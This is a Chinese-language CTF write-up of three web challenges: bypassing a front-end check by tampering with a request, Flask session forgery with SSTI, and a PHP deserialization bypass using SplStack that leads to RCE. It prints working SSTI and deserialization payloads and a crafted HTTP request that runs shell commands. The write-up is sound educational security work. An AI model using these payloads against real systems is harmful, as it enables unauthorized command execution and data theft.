前言

新的牢已经出现,怎么能够不去坐。受 “刑期嗅探官” 胡师傅的邀请,来参加这个为期两天的线上赛。这两天恰好课贼多,只能抽空康康了

签到:又一个计算题 | 篡改请求包

题目描述: 这个计算题看起来很简单丫~,可是为什么总是过不去呢。

访问 URL 后是如下页面

img

什么鬼?要我做这道加法吗。输入100试试,嗯?为啥最后一个0死活输不进去

img

判断是前端对输入有限制,那就挂上 Burp Suite,随便发送一个数,然后找到请求包

img

将内容改成100,然后重发请求。得到了以下响应内容,可以看到响应头中包含了 flag

img

计算器 | seesion伪造 + ssti

题目描述: 看起平平无奇的计算器,但是又好像内藏玄机。

访问 URL 后是一个计算器

截图

随便试两下就报错了(输入了 1/=

截图

内容似乎很长,从开头的 <!doctype html> 来看,是个 HTML 页面。跑到 Burp Suite 里看看究竟是什么

img

emmm… 真的很多内容,这里只截了一部分。在 Burp Suite 把这个响应内容发到浏览器看看

img

发现是 flask 的 debug 界面,如果 flask 服务部署时 debug 参数为 True 的话,服务报错时就会弹出这个页面

在这里我们可以阅读到一部分源码(点击深色部分是可以展开看到其上下文的,可能找到一些关键信息)

果然找到了比较关键的信息,获取到了网站的 secret_key,以及一个敏感路由 /admin

截图

可以看到 /admin 路由会读取 session 中的 username,username 里的内容可能可以加以利用,于是我们使用泄露的 secret_key 来伪造以下 session

{'username':'admin'}

利用 flask-session-cookie-manager 工具即可轻松伪造

img

我们使用该 cookie 访问 URL/admin,获得了如下回显

img

看起来不像是获得了 admin 权限的样子,倒像是使用了模板将 username 的内容渲染到了页面中,可能有模板注入的漏洞,来验证一下

payload: {'username':'{{2*2}}'},将 payload 写入 session 后访问,发现回显了 4,确定存在模板注入

img

试了一下,这个 ssti 没有任何过滤,直接打就好了

最终 payload: {'username':'{%print lipsum.__globals__[\'os\'].popen(\'cat flag.py\').read()%}'}

伪造成 session 后为 eyJ1c2VybmFtZSI6InslcHJpbnQgbGlwc3VtLl9fZ2xvYmFsc19fWydvcyddLnBvcGVuKCdjYXQgZmxhZy5weScpLnJlYWQoKSV9In0.ZWYbSQ.O_iM_o4w6rPhk7I0osfZn0GPnTQ

img

img

成功 Capture the flag

PHP反序列化 | custom object 利用

题目描述: 没错,这就是PHP反序列化,一种很常见的题目类型。

写 WP 的时候靶场已经关了,只好在本地复现,凭记忆写了下代码,用 kali 自带的 Apache2 简单搭了个环境

开题后是如下 php 代码

<?php
error_reporting(0);
highlight_file(__FILE__);
class evil {
    public $cmd;
    public $a;
    public function __destruct() {
        if('VanZZZZY' === preg_replace('/;+/','VanZZZZY',preg_replace('/[A-Za-z_\(\)]+/','',$this->cmd))) {
            eval($this->cmd.'givemegirlfriend!');
        } else {
            echo 'nonono';
        }
    }
}

if(!preg_match('/^[Oa]:[\d]+|Array|Iterator|Object|List/i',$_GET['Pochy'])) {
    unserialize($_GET['Pochy']);
} else {
    echo 'nonono';
}

一眼反序列化 + rce,首先有两个正则需要绕

<?php
if(!preg_match('/^[Oa]:[\d]+|Array|Iterator|Object|List/i',$_GET['Pochy']))
// 绕过这个才能进行反序列化

截图

/^[Oa]:[\d]/i 这个正则还是挺经典的,类似的题目一般尝试以下方法:

  1. 这个正则如果没有这么严格(不匹配a)的话,我们可以先定义一个数组,再将目标类放入数组中来绕过,这样的话序列化字符串的开头就是小写a了,适用于 /^[O]:[\d]/i 的情况
   <?php
   class example {
       public $n="hello";
   }
   $a=array(new example());
   echo serialize($a);
  1. 如果靶机 php 版本比较低的话 ( $php版本 \leq 7.2$ ) 可以使用加号绕过这个正则,具体做法如下
   O:7:"example":1:{s:1:"n";s:5:"hello";}
   改成
   O:+7:"example":1:{s:1:"n";s:5:"hello";}
  1. 但是这题的环境是 php7.3 (从http响应报文里看到的,我本地的环境是php8.2,差不多,反正用不了上面的方法就是了)

此时就要利用 custom object 来绕过

知识点: php 序列化字符串中; O 代表对象; a 代表数组; C 代表”一个全新的类”或”实现了 Serializable 接口的类”。有一些原生类是默认实现了 Serializable 接口的,可以加以利用

首先我们使用如下脚本寻找所有实现了该接口的原生类

   <?php
   $classes = get_declared_classes();
   $serializableClasses = [];

   foreach ($classes as $class) {
       $reflection = new ReflectionClass($class);
       if ($reflection->implementsInterface('Serializable')) {
           $serializableClasses[] = $class;
       }
   }

   foreach ($serializableClasses as $class) {
       echo $class . PHP_EOL;
   }

可以看到以下这些原生类是可以利用的

   ArrayObject
   ArrayIterator
   RecursiveArrayIterator
   SplDoublyLinkedList
   SplQueue
   SplStack
   SplObjectStorage

一般来说使用 ArrayObject 就可以了,例如:

   <?php
   class example {
       public $n="hello";
   }
   $a=new ArrayObject();
   $a->a=new example();
   echo serialize($a);
   // C:11:"ArrayObject":67:{x:i:0;a:0:{};m:a:1:{s:1:"a";O:7:"example":1:{s:1:"n";s:5:"hello";}}}
   // 注意, 如果 php 版本较高的话, 不能得到 C 开头的输出, 应该会得到下面的输出
   // O:11:"ArrayObject":4:{i:0;i:0;i:1;a:0:{}i:2;a:1:{s:1:"a";O:7:"example":1:{s:1:"n";s:5:"hello";}}i:3;N;}

但是这题过滤了 ArrayObject,那可以换成 SplStack 来绕过

   <?php
   class example {
       public $n="hello";
   }
   $a=new SplStack();
   $a->push(new example);
   echo serialize($a);
   // C:8:"SplStack":43:{i:6;:O:7:"example":1:{s:1:"n";s:5:"hello";}}

好,第一个正则就算是成功绕过了,让我们来看下一个

<?php
if('VanZZZZY' === preg_replace('/;+/','VanZZZZY',preg_replace('/[A-Za-z_\(\)]+/','',$this->cmd)))
// 绕过这个才能 rce

这个判断其实有点像无参 RCE

首先,将 $this->cmd 中的所有字母、下划线和小括号替换成空字符

img

然后将替换后的字符串执行以下操作:把 连续的一个或多个分号(正则 /;+/) 替换为 VanZZZZY,接着和 VanZZZZY 比较,若全等就能够执行 rce

意思就是说,$this->cmd 只能包含字母、下划线和小括号,并且需要有一个或以上的分号。相比于传统的无参 RCE,这个判断相对宽松,允许我们用多个分号来依次执行代码。

接下来就到了 RCE 部分了,这里主要问题是如何把拼接进来的非法字符串给去掉

<?php
eval($this->cmd.'givemegirlfriend!');
// 后面的 'givemegirlfriend!' 不是一个合法的 php 语句, 会导致 eval 执行中断

这时我们可以利用 __halt_compiler() 函数来中断编译器的执行

参考文章: https://blog.csdn.net/PlayYoung/article/details/46544919

exit() 和 __halt_compiler() 方法都会退出代码的执行,但是使用 exit() 的文件会解释到文件的结束,如果遇到语法错误就会报错,__halt_compiler() 则不会解释后面的代码。所以你可以在 __halt_compiler() 后面放任何你想放的东西(比如你银行卡账号和密码)而不用考虑语法的问题。

经过测试,rce 字符串后加 ?> 也能起到类似的效果

不过这题不能用,因为不符合 if('VanZZZZY' === preg_replace('/;+/','VanZZZZY',preg_replace('/[A-Za-z_\(\)]+/','',$this->cmd)));以后应该能用上(吧?)

到这里其实就很简单了,变成常规的无参 rce 了, exp 如下

<?php
class evil {
    public $cmd="system(end(getallheaders()));__halt_compiler();";
}
$a=new SplStack();
$a->push(new evil());
echo serialize($a);
// C:8:"SplStack":85:{i:6;:O:4:"evil":1:{s:3:"cmd";s:47:"system(end(getallheaders()));__halt_compiler();";}}
  • getallheaders 返回一个由所有请求头组成的数组
  • end 取出数组的最后一个元素

在请求报文的最后,添加一个恶意的请求头即可,例如

GET /?Pochy=C:8:"SplStack":85:{i:6;:O:4:"evil":1:{s:3:"cmd";s:47:"system(end(getallheaders()));__halt_compiler();";}} HTTP/1.1
Host: 172.17.241.101
rce: ls

img

最后使用 cat flag.php,发现没有直接显示 flag,查看源码找到 flag

img

img